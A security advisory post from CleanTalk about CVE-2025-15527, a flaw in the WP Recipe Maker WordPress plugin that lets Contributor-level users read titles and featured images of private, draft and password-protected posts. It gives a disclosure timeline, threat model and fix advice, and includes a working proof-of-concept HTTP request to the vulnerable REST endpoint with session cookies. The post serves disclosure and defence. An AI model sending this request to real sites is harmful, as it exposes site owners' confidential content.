Plugin Security Certification (PSC) by CleanTalk

Use only certified WordPress plugins for your website

CERTIFY PLUGIN

CVE-2025-15527 – WP Recipe Maker – Authenticated (Contributor+) Private Post Title & Featured Image Disclosure via REST – POC

CVE-2025-15527 is an **information exposure** vulnerability in the WordPress plugin **WP Recipe Maker** that breaks WordPress' expected post privacy model for low-privileged editorial accounts. The core issue is a REST API endpoint that returns post metadata for **any arbitrary post ID**, while authorizing access using a broad capability check (`edit_posts`) rather than an object-level read permission check tied to the specific post being requested. In affected versions **up to and including 10.2.2**, this enables authenticated users with **Contributor-level access and above** to retrieve the **title** and **featured image URL** of posts they should not be able to view, including **draft**, **private**, and **password-protected** posts owned by other users.

CVE	**CVE-2025-15527**
Plugin Version	WP Recipe Maker <= 10.2.2

All Time	**3 590 128**
Active installations	**50 000+**
Publicly Published	December 11, 2025
Last Updated	December 11, 2025
Researcher	Dmitrii Ignatyev
PoC	Yes
Exploit	No
Reference	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15527 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-recipe-maker/wp-recipe-maker-1022-insecure-direct-object-reference-to-sensitive-information-exposure https://t.me/cleantalk_researches/366
Plugin Security Certification by CleanTalk	
Logo of the plugin	

Timeline

November 28, 2025	Plugin testing and vulnerability detection in the **WP Recipe Maker** have been completed
November 28, 2025	I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
December 11, 2025	Registered **CVE-2025-15527**

Discovery of the Vulnerability

Public advisories describe the flaw as insufficient restriction in the `api_get_post_summary` function, which can be reached through the plugin's REST route intended to provide a lightweight "post summary" utility for the plugin's UI or integrations. The NVD entry explicitly states that the endpoint allows authenticated attackers with **Contributor+** access to extract data from posts they may not be able to **edit or read otherwise**, and that it affects **password protected, private, or draft posts** that the caller should not have access to. The vulnerability pattern is a classic WordPress authorization design error: using a general capability ("can edit posts somewhere") as a proxy for a specific object's access control ("can read this exact post"), which collapses the distinction between "editorial participant" and "authorized viewer for that post."

Understanding of Sensitive Data Exposure attack's

In WordPress, post visibility is not just `publish` vs `draft`; it is a set of business controls that support editorial pipelines, embargoes, private/internal announcements, password-gated content, and scheduled campaigns. On many sites, **post titles and featured images carry the most sensitive signals** (campaign names, acquisition announcements, product launches, partner names, event details, internal codenames), even when the post body remains unfinished or locked down. CVE-2025-15527 violates that model by allowing a Contributor (or similar low role) to **enumerate post IDs** and harvest those signals at scale, even when the WordPress UI would correctly block them from opening the post editor or viewing the post on the front end. NVD classifies this as **Information Exposure (CWE-200)**, which fits the practical impact: the bug doesn't need to leak the full content to cause real harm, because leaking "what's coming" (title + hero image) is often enough to break embargoes and compromise operational confidentiality.

Exploiting the Sensitive Data Exposure Vulnerability

To exploit **CVE-2025-15527**, an attacker with Contributor+ cookies:

> ***POC:***
>
> ```
> GET /wordpress/index.php?rest_route=/wp-recipe-maker/v1/utilities/post_summary/163 HTTP/1.1
> Host: 127.0.0.1
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
> Accept: application/json, */*;q=0.1
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate, br
> Referer: http://127.0.0.1/wordpress/wp-admin/post-new.php
> X-WP-Nonce: 5e140cb523
> ```

```
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie:
wordpress_test_cookie=WP%20Cookie%20check;
wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=2%7C1764523720%7CizqesFT1f6JP9lsZb0LOX61y3lcrJcFA4PaSUU4TCnB%7Cb77bffd3675b42d4a70394672da47faef1104bdd0f4a67a8d5c25b5c77449873; wp-settings-3=libraryContent%3Dapt; wp-settings-time-3=1764350921;
spbc_secfw_ip_wl=adb2a133b016d4aeea259f85a613874f;
spbc_is_logged_in=632abd71892139e01786143ba5519731; spbc_log_id=559; spbc_timer=1764350923;
spbc_cookies_test=%7B%22cookies_names%22%3A%5B%22spbc_log_id%22%2C%22spbc_timer%22%5D%2C%22check_value%22%3A%22fcd341949e404a132ebaff29daa6dadd%22%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
```

The most realistic threat model is **insider or semi-trusted contributor abuse** rather than anonymous exploitation: a compromised Contributor account, a malicious freelance writer, or a member-level account mistakenly granted `edit_posts` can quietly extract editorial intelligence from posts across the site. That intelligence can be used for leaks (press, competitors), market manipulation (pre-announcing partnerships or releases), reputational attacks ("look what they planned"), or social engineering that references real upcoming content assets. Even when the disclosed fields are "only title and image," the ability to enumerate post IDs means the attacker can build a structured list of what exists in the pipeline, how many drafts are in flight, and which topics are being prepared—information that often has direct business value. NVD's description underscores this point by explicitly calling out posts the attacker "should not have access to," which is the heart of the privacy boundary being broken.

Recommendations for Improved Security

The fix should be framed as “restore WordPress object-level access control for post resources.” Concretely, the endpoint should enforce a permission check tied to the specific post ID, such as `current_user_can('read_post', $post_id)` (and/or `current_user_can('edit_post', $post_id)` depending on intended behavior), and should deny access for posts that are **private**, **draft**, or **password-protected** unless the user is explicitly authorized under WordPress’ normal rules. The current behavior (per NVD) is vulnerable in versions up to **10.2.2**, so site owners should update to a fixed version as soon as available and treat this as an access-control regression test for any future utility endpoints that return post metadata. As an operational mitigation while patching, restrict which roles have `edit_posts`, audit role/capability assignments on membership/community sites, and monitor for unusual sequences of `/post_summary/<id>` requests (high-rate sequential IDs are a strong signal of enumeration).

> *By taking proactive measures to address **Sensitive Data Exposure vulnerabilities like CVE-2025-15527** WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.*
>
> *#WordPressSecurity #**SensitiveDataExposure** #WebsiteSafety #StayProtected #HighVulnerability*
>
> ***Use CleanTalk solutions to improve the security of your website***
>
> DMITRII I.

Related posts

CVE-2024-3963 – RafflePress Lite – Stored XSS – POC

RafflePress Lite is WordPress plugin designed to help users drive traffic, grow their email lists, and boost social...

CVE-2024-6889 – Secure Copy Content Protection and Content Locking – Stored XSS to Backdoor Creation – POC

CVE-2024-6889 exposes a serious vulnerability in the Secure Copy Content Protection and Content Locking plugin, a tool used...

CVE-2024-8542 – Everest Forms – Stored XSS to Backdoor Creation – POC

CVE-2024-8542 is a critical Stored Cross-Site Scripting (XSS) vulnerability affecting the Everest Forms plugin, used by over 100,000...

CVE-2024-12311 – Email Subscribers – SQL Injection – POC

The Email Subscribers plugin for WordPress, which is widely used to manage subscribers, campaigns, and emails, has been...

CVE-2024-13615 – SocialSnap – Stored XSS to JS Backdoor Creation – POC

The Social Media Plugin by Social Snap is widely used to add social sharing functionalities to WordPress websites....

Dmitrii I February 5, 2026 CVE, Security

No Comments

← Plugin Security Certification (PSC-2026-64605): “Translate WordPress with GTranslate” – Version 3.0.9

Plugin Security Certification (PSC-2026-64606): “WP Fastest Cache” – Version 1.4.6 →

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment *

Name *

Email *

Website

Save my name, email, and website in this browser for the next time I comment.

Post Comment

CleanTalk

- About
- Blog
- Dashboard
- Plugins security certification
- WordPress Malware removal
- Pricing
- Sign up / Sign In

Solutions

- Anti-Spam for Websites
- Anti-Spam Plugins
- Check IP
- Check Email
- Filter fake emails
- Gantt Charts
- Hide contact data
- Stop spam emails in Contact form 7 (CF7)
- Stop spam in Elementor form builder
- Stop spam in WPForms
- Vulnerabilities and Security Researches
- Website malware scanner
- WordPress Security Plugin

Documentation

- Help
- Is my site infected?
- License agreement
- Privacy Policy
- Refund Policy

Contact us

- Create a support ticket
- Contact us
- Telegram
- X